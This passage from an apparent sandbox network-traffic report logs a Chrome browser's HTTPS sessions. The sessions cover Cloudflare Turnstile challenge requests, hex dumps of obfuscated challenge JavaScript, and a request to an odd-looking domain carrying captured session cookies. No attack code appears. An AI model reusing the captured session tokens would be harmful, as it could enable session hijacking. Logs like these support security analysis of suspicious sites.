27e23px;}.size-compact .ctp-checkbox-container { text-align: left;}.size-compact #logo { margin-top: 5px; margin-bottom: 0; height: 22px;}.size-compact .cb-container { margin-top: 3px; margin-left: 0;}.size-compact #branding { disp

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
27	192.168.2.6	49751	104.17.2.184	443	368	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-24 06:21:36 UTC	710	OUT	GET /cdn-cgi/challenge-platform/h/b/orchestrate/chl_api/v1?ray=8793fe7a3eb209f1 HTTP/1.1 Host: challenges.cloudflare.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/b/turnstile/if/ov2/av0/rcv0/0/gl5s2/0x4AAAAAAAXj4ylnvzeCbeUc/auto/normal Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-24 06:21:36 UTC	358	IN	HTTP/1.1 200 OK Date: Wed, 24 Apr 2024 06:21:36 GMT Content-Type: application/javascript; charset=UTF-8 Transfer-Encoding: chunked Connection: close cache-control: private, max-age=0, no-store, no-cache, must-revalidate, post-check=0, pre-check=0 vary: accept-encoding Server: cloudflare CF-RAY: 8793fe7eadaaa984-LAS alt-svc: h3=":443"; ma=86400
2024-04-24 06:21:36 UTC	281	IN	Data Raw: 31 31 32 0d 0a 77 69 6e 64 6f 77 2e 5f 63 66 5f 63 68 6c 5f 6f 70 74 2e 75 61 4f 3d 66 61 6c 73 65 3b 7e 66 75 6e 63 74 69 6f 6e 28 69 78 2c 66 45 2c 66 46 2c 66 49 2c 66 4a 2c 67 39 2c 67 61 2c 67 65 2c 67 66 2c 67 67 2c 67 6e 2c 67 78 2c 67 7a 2c 67 41 2c 67 42 2c 67 43 2c 67 44 2c 67 45 2c 67 46 2c 67 47 2c 67 48 2c 67 49 2c 67 4a 2c 67 4b 2c 67 4c 2c 67 4d 2c 67 4e 2c 67 4f 2c 67 50 2c 67 51 2c 67 52 2c 67 53 2c 67 54 2c 67 55 2c 67 56 2c 67 57 2c 67 58 2c 67 59 2c 67 5a 2c 68 30 2c 68 31 2c 68 32 2c 68 33 2c 68 34 2c 68 35 2c 68 36 2c 68 37 2c 68 38 2c 68 39 2c 68 61 2c 68 62 2c 68 63 2c 68 64 2c 68 65 2c 68 66 2c 68 67 2c 68 68 2c 68 69 2c 68 6a 2c 68 6b 2c 68 6c 2c 68 6d 2c 68 6e 2c 68 6f 2c 68 70 2c 68 71 2c 68 72 2c 68 73 2c 68 74 2c 68 76 2c 68 Data Ascii: 112window._cf_chl_opt.uaO=false;~function(ix,fE,fF,fI,fJ,g9,ga,ge,gf,gg,gn,gx,gz,gA,gB,gC,gD,gE,gF,gG,gH,gI,gJ,gK,gL,gM,gN,gO,gP,gQ,gR,gS,gT,gU,gV,gW,gX,gY,gZ,h0,h1,h2,h3,h4,h5,h6,h7,h8,h9,ha,hb,hc,hd,he,hf,hg,hh,hi,hj,hk,hl,hm,hn,ho,hp,hq,hr,hs,ht,hv,h
2024-04-24 06:21:36 UTC	1369	IN	Data Raw: 65 66 66 0d 0a 76 2c 66 47 2c 66 48 29 7b 66 6f 72 28 69 78 3d 62 2c 66 75 6e 63 74 69 6f 6e 28 63 2c 64 2c 69 77 2c 65 2c 66 29 7b 66 6f 72 28 69 77 3d 62 2c 65 3d 63 28 29 3b 21 21 5b 5d 3b 29 74 72 79 7b 69 66 28 66 3d 70 61 72 73 65 49 6e 74 28 69 77 28 32 31 32 31 29 29 2f 31 2b 2d 70 61 72 73 65 49 6e 74 28 69 77 28 33 30 30 36 29 29 2f 32 2b 2d 70 61 72 73 65 49 6e 74 28 69 77 28 31 34 39 39 29 29 2f 33 2a 28 70 61 72 73 65 49 6e 74 28 69 77 28 32 30 34 36 29 29 2f 34 29 2b 2d 70 61 72 73 65 49 6e 74 28 69 77 28 32 38 30 33 29 29 2f 35 2a 28 2d 70 61 72 73 65 49 6e 74 28 69 77 28 32 37 32 38 29 29 2f 36 29 2b 2d 70 61 72 73 65 49 6e 74 28 69 77 28 32 36 32 31 29 29 2f 37 2b 70 61 72 73 65 49 6e 74 28 69 77 28 32 35 31 35 29 29 2f 38 2b 70 61 72 73 Data Ascii: effv,fG,fH){for(ix=b,function(c,d,iw,e,f){for(iw=b,e=c();!![];)try{if(f=parseInt(iw(2121))/1+-parseInt(iw(3006))/2+-parseInt(iw(1499))/3(parseInt(iw(2046))/4)+-parseInt(iw(2803))/5(-parseInt(iw(2728))/6)+-parseInt(iw(2621))/7+parseInt(iw(2515))/8+pars
2024-04-24 06:21:36 UTC	1369	IN	Data Raw: 61 38 2b 2b 2c 61 39 3d 30 2c 58 2b 2b 29 3b 66 6f 72 28 61 61 3d 61 62 5b 6a 38 28 32 31 39 39 29 5d 28 30 29 2c 61 63 3d 30 3b 6f 5b 6a 38 28 31 36 32 30 29 5d 28 31 36 2c 61 64 29 3b 61 66 3d 6f 5b 6a 38 28 31 33 31 33 29 5d 28 6f 5b 6a 38 28 31 34 31 35 29 5d 28 61 67 2c 31 29 2c 61 68 26 31 2e 32 31 29 2c 6f 5b 6a 38 28 34 38 32 29 5d 28 61 69 2c 6f 5b 6a 38 28 32 37 30 39 29 5d 28 61 6a 2c 31 29 29 3f 28 61 6b 3d 30 2c 61 6c 5b 6a 38 28 31 38 38 34 29 5d 28 61 6d 28 61 6e 29 29 2c 61 6f 3d 30 29 3a 61 70 2b 2b 2c 61 71 3e 3e 3d 31 2c 61 65 2b 2b 29 3b 7d 65 6c 73 65 7b 66 6f 72 28 47 5b 6a 38 28 31 38 30 35 29 5d 28 29 2c 48 3d 30 3b 6f 5b 6a 38 28 31 32 34 32 29 5d 28 48 2c 47 5b 6a 38 28 31 38 31 34 29 5d 29 3b 47 5b 48 5d 3d 3d 3d 47 5b 6f 5b 6a Data Ascii: a8++,a9=0,X++);for(aa=ab[j8(2199)](0),ac=0;o[j8(1620)](16,ad);af=o[j8(1313)](o[j8(1415)](ag,1),ah&1.21),o[j8(482)](ai,o[j8(2709)](aj,1))?(ak=0,al[j8(1884)](am(an)),ao=0):ap++,aq>>=1,ae++);}else{for(G[j8(1805)](),H=0;o[j8(1242)](H,G[j8(1814)]);G[H]===G[o[j
2024-04-24 06:21:36 UTC	1108	IN	Data Raw: 68 28 69 29 7d 2c 27 6a 52 74 52 63 27 3a 66 75 6e 63 74 69 6f 6e 28 68 2c 69 29 7b 72 65 74 75 72 6e 20 68 2d 69 7d 2c 27 49 59 47 66 4c 27 3a 66 75 6e 63 74 69 6f 6e 28 68 2c 69 29 7b 72 65 74 75 72 6e 20 68 7c 69 7d 2c 27 46 4e 56 44 61 27 3a 66 75 6e 63 74 69 6f 6e 28 68 2c 69 29 7b 72 65 74 75 72 6e 20 69 26 68 7d 2c 27 68 55 45 58 67 27 3a 66 75 6e 63 74 69 6f 6e 28 68 2c 69 29 7b 72 65 74 75 72 6e 20 68 2d 69 7d 2c 27 41 42 52 7a 4a 27 3a 66 75 6e 63 74 69 6f 6e 28 68 2c 69 29 7b 72 65 74 75 72 6e 20 68 21 3d 3d 69 7d 2c 27 45 70 71 61 58 27 3a 66 75 6e 63 74 69 6f 6e 28 68 2c 69 29 7b 72 65 74 75 72 6e 20 68 28 69 29 7d 2c 27 44 79 55 75 51 27 3a 66 75 6e 63 74 69 6f 6e 28 68 2c 69 29 7b 72 65 74 75 72 6e 20 68 3e 69 7d 2c 27 42 73 45 44 7a 27 3a Data Ascii: h(i)},'jRtRc':function(h,i){return h-i},'IYGfL':function(h,i){return h\|i},'FNVDa':function(h,i){return i&h},'hUEXg':function(h,i){return h-i},'ABRzJ':function(h,i){return h!==i},'EpqaX':function(h,i){return h(i)},'DyUuQ':function(h,i){return h>i},'BsEDz':
2024-04-24 06:21:36 UTC	567	IN	Data Raw: 32 33 30 0d 0a 3b 66 6f 72 28 78 3d 7b 7d 2c 42 3d 7b 7d 2c 43 3d 27 27 2c 44 3d 32 2c 45 3d 33 2c 46 3d 32 2c 47 3d 5b 5d 2c 48 3d 30 2c 49 3d 30 2c 4a 3d 30 3b 4a 3c 69 5b 6a 63 28 31 38 31 34 29 5d 3b 4a 2b 3d 31 29 69 66 28 64 5b 6a 63 28 31 38 30 34 29 5d 28 64 5b 6a 63 28 31 34 34 34 29 5d 2c 6a 63 28 38 39 31 29 29 29 4d 5b 6a 63 28 31 36 36 37 29 5d 28 29 3b 65 6c 73 65 20 69 66 28 4b 3d 69 5b 6a 63 28 33 32 34 39 29 5d 28 4a 29 2c 4f 62 6a 65 63 74 5b 6a 63 28 32 31 31 33 29 5d 5b 6a 63 28 31 33 38 39 29 5d 5b 6a 63 28 31 32 38 33 29 5d 28 78 2c 4b 29 7c 7c 28 78 5b 4b 5d 3d 45 2b 2b 2c 42 5b 4b 5d 3d 21 30 29 2c 4c 3d 43 2b 4b 2c 4f 62 6a 65 63 74 5b 6a 63 28 32 31 31 33 29 5d 5b 6a 63 28 31 33 38 39 29 5d 5b 6a 63 28 31 32 38 33 29 5d 28 78 2c Data Ascii: 230;for(x={},B={},C='',D=2,E=3,F=2,G=[],H=0,I=0,J=0;J<i[jc(1814)];J+=1)if(d[jc(1804)](d[jc(1444)],jc(891)))M[jc(1667)]();else if(K=i[jc(3249)](J),Object[jc(2113)][jc(1389)][jc(1283)](x,K)\|\|(x[K]=E++,B[K]=!0),L=C+K,Object[jc(2113)][jc(1389)][jc(1283)](x,
2024-04-24 06:21:36 UTC	747	IN	Data Raw: 32 65 34 0d 0a 3d 6a 2d 31 3f 28 49 3d 30 2c 47 5b 6a 63 28 31 38 38 34 29 5d 28 64 5b 6a 63 28 31 38 31 35 29 5d 28 6f 2c 48 29 29 2c 48 3d 30 29 3a 49 2b 2b 2c 4d 3e 3e 3d 31 2c 73 2b 2b 29 3b 7d 7d 65 6c 73 65 7b 66 6f 72 28 4d 3d 31 2c 73 3d 30 3b 64 5b 6a 63 28 31 34 34 38 29 5d 28 73 2c 46 29 3b 48 3d 4d 7c 48 3c 3c 31 2e 32 39 2c 49 3d 3d 64 5b 6a 63 28 31 37 30 33 29 5d 28 6a 2c 31 29 3f 28 49 3d 30 2c 47 5b 6a 63 28 31 38 38 34 29 5d 28 6f 28 48 29 29 2c 48 3d 30 29 3a 49 2b 2b 2c 4d 3d 30 2c 73 2b 2b 29 3b 66 6f 72 28 4d 3d 43 5b 6a 63 28 32 31 39 39 29 5d 28 30 29 2c 73 3d 30 3b 64 5b 6a 63 28 31 39 36 33 29 5d 28 31 36 2c 73 29 3b 48 3d 64 5b 6a 63 28 31 38 39 39 29 5d 28 48 3c 3c 31 2e 34 33 2c 4d 26 31 29 2c 6a 2d 31 3d 3d 49 3f 28 49 3d 30 Data Ascii: 2e4=j-1?(I=0,G[jc(1884)](d[jc(1815)](o,H)),H=0):I++,M>>=1,s++);}}else{for(M=1,s=0;d[jc(1448)](s,F);H=M\|H<<1.29,I==d[jc(1703)](j,1)?(I=0,G[jc(1884)](o(H)),H=0):I++,M=0,s++);for(M=C[jc(2199)](0),s=0;d[jc(1963)](16,s);H=d[jc(1899)](H<<1.43,M&1),j-1==I?(I=0
2024-04-24 06:21:36 UTC	1369	IN	Data Raw: 38 30 61 0d 0a 64 5b 6a 63 28 32 31 34 37 29 5d 28 38 2c 73 29 3b 48 3d 64 5b 6a 63 28 31 38 39 39 29 5d 28 64 5b 6a 63 28 31 30 32 34 29 5d 28 48 2c 31 29 2c 64 5b 6a 63 28 32 38 38 36 29 5d 28 4d 2c 31 29 29 2c 6a 2d 31 3d 3d 49 3f 28 49 3d 30 2c 47 5b 6a 63 28 31 38 38 34 29 5d 28 6f 28 48 29 29 2c 48 3d 30 29 3a 49 2b 2b 2c 4d 3e 3e 3d 31 2c 73 2b 2b 29 3b 7d 65 6c 73 65 7b 66 6f 72 28 4d 3d 31 2c 73 3d 30 3b 73 3c 46 3b 48 3d 4d 7c 48 3c 3c 31 2e 32 2c 64 5b 6a 63 28 32 34 35 35 29 5d 28 49 2c 6a 2d 31 29 3f 28 49 3d 30 2c 47 5b 6a 63 28 31 38 38 34 29 5d 28 6f 28 48 29 29 2c 48 3d 30 29 3a 49 2b 2b 2c 4d 3d 30 2c 73 2b 2b 29 3b 66 6f 72 28 4d 3d 43 5b 6a 63 28 32 31 39 39 29 5d 28 30 29 2c 73 3d 30 3b 64 5b 6a 63 28 31 31 30 38 29 5d 28 31 36 2c 73 Data Ascii: 80ad[jc(2147)](8,s);H=d[jc(1899)](d[jc(1024)](H,1),d[jc(2886)](M,1)),j-1==I?(I=0,G[jc(1884)](o(H)),H=0):I++,M>>=1,s++);}else{for(M=1,s=0;s<F;H=M\|H<<1.2,d[jc(2455)](I,j-1)?(I=0,G[jc(1884)](o(H)),H=0):I++,M=0,s++);for(M=C[jc(2199)](0),s=0;d[jc(1108)](16,s
2024-04-24 06:21:36 UTC	696	IN	Data Raw: 30 2c 4b 3d 4d 61 74 68 5b 6a 66 28 31 33 33 35 29 5d 28 32 2c 31 36 29 2c 46 3d 31 3b 4b 21 3d 46 3b 4c 3d 47 26 48 2c 48 3e 3e 3d 31 2c 30 3d 3d 48 26 26 28 48 3d 6a 2c 47 3d 6f 28 49 2b 2b 29 29 2c 4a 7c 3d 28 30 3c 4c 3f 31 3a 30 29 2a 46 2c 46 3c 3c 3d 31 29 3b 4d 3d 65 28 4a 29 3b 62 72 65 61 6b 3b 63 61 73 65 20 32 3a 72 65 74 75 72 6e 27 27 7d 66 6f 72 28 45 3d 73 5b 33 5d 3d 4d 2c 44 5b 6a 66 28 31 38 38 34 29 5d 28 4d 29 3b 3b 29 7b 69 66 28 49 3e 69 29 72 65 74 75 72 6e 27 27 3b 66 6f 72 28 4a 3d 30 2c 4b 3d 4d 61 74 68 5b 6a 66 28 31 33 33 35 29 5d 28 32 2c 43 29 2c 46 3d 31 3b 4b 21 3d 46 3b 4c 3d 64 5b 6a 66 28 32 38 38 36 29 5d 28 47 2c 48 29 2c 48 3e 3e 3d 31 2c 30 3d 3d 48 26 26 28 48 3d 6a 2c 47 3d 64 5b 6a 66 28 37 33 34 29 5d 28 6f 2c Data Ascii: 0,K=Math[jf(1335)](2,16),F=1;K!=F;L=G&H,H>>=1,0==H&&(H=j,G=o(I++)),J\|=(0<L?1:0)*F,F<<=1);M=e(J);break;case 2:return''}for(E=s[3]=M,D[jf(1884)](M);;){if(I>i)return'';for(J=0,K=Math[jf(1335)](2,C),F=1;K!=F;L=d[jf(2886)](G,H),H>>=1,0==H&&(H=j,G=d[jf(734)](o,
2024-04-24 06:21:36 UTC	586	IN	Data Raw: 32 34 33 0d 0a 4d 5d 29 4d 3d 73 5b 4d 5d 3b 65 6c 73 65 20 69 66 28 4d 3d 3d 3d 42 29 4d 3d 45 2b 45 5b 6a 66 28 33 32 34 39 29 5d 28 30 29 3b 65 6c 73 65 20 72 65 74 75 72 6e 20 6e 75 6c 6c 3b 44 5b 6a 66 28 31 38 38 34 29 5d 28 4d 29 2c 73 5b 42 2b 2b 5d 3d 64 5b 6a 66 28 35 39 33 29 5d 28 45 2c 4d 5b 6a 66 28 33 32 34 39 29 5d 28 30 29 29 2c 78 2d 2d 2c 45 3d 4d 2c 30 3d 3d 78 26 26 28 78 3d 4d 61 74 68 5b 6a 66 28 31 33 33 35 29 5d 28 32 2c 43 29 2c 43 2b 2b 29 7d 7d 7d 2c 67 3d 7b 7d 2c 67 5b 6a 61 28 32 37 30 35 29 5d 3d 66 2e 68 2c 67 7d 28 29 2c 66 45 5b 69 78 28 33 30 31 34 29 5d 3d 21 5b 5d 2c 66 45 5b 69 78 28 31 35 35 30 29 5d 3d 66 75 6e 63 74 69 6f 6e 28 6a 43 29 7b 69 66 28 6a 43 3d 69 78 2c 66 45 5b 6a 43 28 33 30 31 34 29 5d 29 72 65 74 Data Ascii: 243M])M=s[M];else if(M===B)M=E+E[jf(3249)](0);else return null;D[jf(1884)](M),s[B++]=d[jf(593)](E,M[jf(3249)](0)),x--,E=M,0==x&&(x=Math[jf(1335)](2,C),C++)}}},g={},g[ja(2705)]=f.h,g}(),fE[ix(3014)]=![],fE[ix(1550)]=function(jC){if(jC=ix,fE[jC(3014)])ret
2024-04-24 06:21:36 UTC	563	IN	Data Raw: 32 32 63 0d 0a 3d 69 78 2c 64 3d 7b 7d 2c 64 5b 6b 62 28 32 39 36 38 29 5d 3d 6b 62 28 31 38 37 34 29 2c 64 5b 6b 62 28 31 37 35 33 29 5d 3d 6b 62 28 31 34 33 38 29 2c 64 5b 6b 62 28 36 33 38 29 5d 3d 6b 62 28 32 31 33 35 29 2c 64 5b 6b 62 28 32 39 34 34 29 5d 3d 6b 62 28 34 33 34 29 2c 65 3d 64 2c 66 3d 31 2c 67 3d 31 65 33 2a 66 45 5b 6b 62 28 31 35 30 32 29 5d 5b 6b 62 28 32 32 38 34 29 5d 28 32 2e 35 33 3c 3c 66 2c 33 32 29 2c 66 45 5b 6b 62 28 33 31 36 31 29 5d 28 66 75 6e 63 74 69 6f 6e 28 6b 63 29 7b 6b 63 3d 6b 62 2c 65 5b 6b 63 28 32 39 36 38 29 5d 21 3d 3d 65 5b 6b 63 28 31 37 35 33 29 5d 3f 66 45 5b 65 5b 6b 63 28 36 33 38 29 5d 5d 26 26 28 66 45 5b 6b 63 28 31 32 30 32 29 5d 5b 6b 63 28 38 33 33 29 5d 28 29 2c 66 45 5b 6b 63 28 31 32 30 32 29 Data Ascii: 22c=ix,d={},d[kb(2968)]=kb(1874),d[kb(1753)]=kb(1438),d[kb(638)]=kb(2135),d[kb(2944)]=kb(434),e=d,f=1,g=1e3*fE[kb(1502)][kb(2284)](2.53<<f,32),fE[kb(3161)](function(kc){kc=kb,e[kc(2968)]!==e[kc(1753)]?fE[e[kc(638)]]&&(fE[kc(1202)][kc(833)](),fE[kc(1202)

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
28	192.168.2.6	49752	104.17.2.184	443	368	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-24 06:21:36 UTC	785	OUT	GET /cdn-cgi/challenge-platform/h/b/cmg/1/wh0E0SXYnx6pTBdJW%2Fl926I%2BPRUplRdtQz3K9lHXs%2Fs%3D HTTP/1.1 Host: challenges.cloudflare.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/b/turnstile/if/ov2/av0/rcv0/0/gl5s2/0x4AAAAAAAXj4ylnvzeCbeUc/auto/normal Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-24 06:21:36 UTC	240	IN	HTTP/1.1 200 OK Date: Wed, 24 Apr 2024 06:21:36 GMT Content-Type: image/png Content-Length: 61 Connection: close cache-control: max-age=2629800, public Server: cloudflare CF-RAY: 8793fe7f68bb0a01-LAS alt-svc: h3=":443"; ma=86400
2024-04-24 06:21:36 UTC	61	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 02 00 00 00 02 08 02 00 00 00 fd d4 9a 73 00 00 00 04 49 44 41 54 00 00 00 01 9d 24 d7 91 00 00 00 00 49 45 4e 44 ae 42 60 82 Data Ascii: PNGIHDRsIDAT$IENDB`

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
29	192.168.2.6	49745	172.67.143.205	443	368	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-24 06:21:37 UTC	1316	OUT	GET /favicon.ico HTTP/1.1 Host: o5u7g.zleu9.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://o5u7g.zleu9.com/O5u7Gw/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: XSRF-TOKEN=eyJpdiI6Ik1QbXczbDBidTJSYllEUGlPdno0WFE9PSIsInZhbHVlIjoiM3UvMXFqNEFCNnhtRVBrc3EwK3loVW43UjVwNnNMVHV4dEhZQVNIbEpoU3ZZaUdRYzVpd0o2ZS9pVEpaQ2FXOFd5cWd5bVdpTzUrNHdZZXRheFNsLzlqNjBsdG0ydk5za3YxVVFDcUsyVk1DVGFDcXhQenJyZlhPMlQwS2RWeEciLCJtYWMiOiIxZDJmMDZjOWE3NTM1OWE2MDc1M2IxZTdiMDA1YzI0NzliMzNjNDNjN2JjOGI1NzVlZDMyNTZjNzFmNDk3MjljIiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6IkVyMVc1c0hVdTBmVGl5TkZNZnBiQXc9PSIsInZhbHVlIjoiRTlJZStBQXU1bVZ1SU02MTV3WWdEOHQxMFZmTllXekJxcy9Pb3BjaXBoYkt1OFlqVkIvVXRMemRjdW1ZcGQ1VGIvSEJYdjhhNUtwVlI0MENFQTdlVXI4UW5UdTVIQ1ZnKzRPTzhoSHFaZlhIeFEvZDZucTM2SU5zWXFiOGo2NVgiLCJtYWMiOiI0NjVhNjNhZjRlZDgyMmNiMzI4Yjg4NzQ3OGJhZTUyNjNiYTAwOGM5ZmZhYmZiMjU4MDg2OGQ1ZTY3OWZlZjIwIiwidGFnIjoiIn0%3D
2024-04-24 06:21:37 UTC	636	IN	HTTP/1.1 404 Not Found Date: Wed, 24 Apr 2024 06:21:37 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Cache-Control: max-age=14400 Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=5O5X6EfqLsJZozrSmIps6OCiBy71mqFGK58Z8g76jsnH3koVfMAUf%2Fz18OES8oq4qcGr1GoqPBnpZzIshA6Sg5mQ7Pa%2FUKg%2Fwhz0fWCyd5FR9%2BDUVnZAkrq5mwU%2BZw%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Vary: Accept-Encoding alt-svc: h3=":443"; ma=86400 CF-Cache-Status: EXPIRED Server: cloudflare CF-RAY: 8793fe8338cb69a4-LAX
2024-04-24 06:21:37 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
30	192.168.2.6	49753	104.17.3.184	443	368	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-24 06:21:37 UTC	438	OUT	GET /cdn-cgi/challenge-platform/h/b/cmg/1/wh0E0SXYnx6pTBdJW%2Fl926I%2BPRUplRdtQz3K9lHXs%2Fs%3D HTTP/1.1 Host: challenges.cloudflare.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-24 06:21:37 UTC	240	IN	HTTP/1.1 200 OK Date: Wed, 24 Apr 2024 06:21:37 GMT Content-Type: image/png Content-Length: 61 Connection: close cache-control: max-age=2629800, public Server: cloudflare CF-RAY: 8793fe848be609ef-LAS alt-svc: h3=":443"; ma=86400
2024-04-24 06:21:37 UTC	61	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 02 00 00 00 02 08 02 00 00 00 fd d4 9a 73 00 00 00 04 49 44 41 54 00 00 00 01 9d 24 d7 91 00 00 00 00 49 45 4e 44 ae 42 60 82 Data Ascii: PNGIHDRsIDAT$IENDB`

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
31	192.168.2.6	49754	104.17.2.184	443	368	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-24 06:21:37 UTC	915	OUT	POST /cdn-cgi/challenge-platform/h/b/flow/ov1/862063700:1713935735:n_kDzPRHRfNhpmTiH_iizdB-6K4G1lTc2-dx7iY2jIs/8793fe7a3eb209f1/e5ab976078d7bfd HTTP/1.1 Host: challenges.cloudflare.com Connection: keep-alive Content-Length: 2604 sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" Content-type: application/x-www-form-urlencoded sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 CF-Challenge: e5ab976078d7bfd sec-ch-ua-platform: "Windows" Accept: / Origin: https://challenges.cloudflare.com Sec-Fetch-Site: same-origin Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/b/turnstile/if/ov2/av0/rcv0/0/gl5s2/0x4AAAAAAAXj4ylnvzeCbeUc/auto/normal Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-24 06:21:37 UTC	2604	OUT	Data Raw: 76 5f 38 37 39 33 66 65 37 61 33 65 62 32 30 39 66 31 3d 76 55 6b 38 58 38 67 38 77 38 71 38 32 44 4d 79 44 4d 30 38 44 33 4a 31 32 24 44 69 4d 32 4d 2d 50 33 75 42 4b 4d 4f 41 4d 6b 4b 69 6e 35 57 4d 69 4b 32 6a 35 69 6d 41 4d 70 38 4d 31 4d 64 61 4d 59 71 6b 38 4d 6d 66 38 4a 64 4d 31 4b 35 6a 56 73 65 51 4b 4d 63 4d 32 31 35 6f 39 76 6a 2d 6e 67 4d 67 4b 38 35 75 75 4a 35 4b 35 61 6d 6d 34 4a 67 4d 55 38 44 42 4d 4f 48 31 4a 42 2d 70 34 33 35 24 4e 65 30 78 5a 37 55 6e 73 71 63 38 47 50 4c 6d 38 4d 75 77 6e 2d 61 30 45 79 49 41 5a 43 4c 33 47 4d 35 72 44 59 45 6b 4d 36 38 35 42 58 49 65 55 4d 6d 51 66 45 38 4d 66 42 65 66 38 31 4d 44 45 56 4a 38 4d 41 38 35 67 71 44 38 75 50 38 35 45 62 6d 6b 4d 6e 42 65 4d 6c 77 4e 6d 68 44 69 34 43 6b 65 48 4d 35 65 Data Ascii: v_8793fe7a3eb209f1=vUk8X8g8w8q82DMyDM08D3J12$DiM2M-P3uBKMOAMkKin5WMiK2j5imAMp8M1MdaMYqk8Mmf8JdM1K5jVseQKMcM215o9vj-ngMgK85uuJ5K5amm4JgMU8DBMOH1JB-p435$Ne0xZ7Unsqc8GPLm8Muwn-a0EyIAZCL3GM5rDYEkM685BXIeUMmQfE8MfBef81MDEVJ8MA85gqD8uP85EbmkMnBeMlwNmhDi4CkeHM5e
2024-04-24 06:21:37 UTC	734	IN	HTTP/1.1 200 OK Date: Wed, 24 Apr 2024 06:21:37 GMT Content-Type: text/plain; charset=UTF-8 Transfer-Encoding: chunked Connection: close cf-chl-gen: Fhc9fiCpuDjVG34f5wgK9bUd/oI0DzY63w7T4l9PZ3iET4w1fAnBgyJYHoo+bfvpI97NkNIUyFwbPQwguScqD4U5Dcv1CTnvmlmluTn+DyIRMPRNSVoOJy7WqULOMMaWllW027kNdZKLALVD8fjl7fDASNoFprY8RScOsSCwCKfkpnVnO6bMN2MtHzkbU9kEOqYrNTHvPzx+/Y8iQhJbbWL9SwCUT/LA/Sjez4Q9PWP3lXLwqlDquW/bK4gCHeCWLDVZtUG1HRHv5aQ/rrnd1btrTG7KdzG4Tc0OObLixDZtkAR/MJc5BSaG8H9LqGLQP4yihpXWAhJoLPGQsM+ibliJo2WSl7SjdGnlBssGye+0tBQQmdoXU6esdg8B4CosUvbkkb9MY9NZrw3y7XpC9U3c/GkzF/bDPyVh88TAIPVZqzIiYgecDIkRZOHUrDur$xTx/0Ab26IqD0JSB+L9xMQ== vary: accept-encoding Server: cloudflare CF-RAY: 8793fe85be350a01-LAS alt-svc: h3=":443"; ma=86400
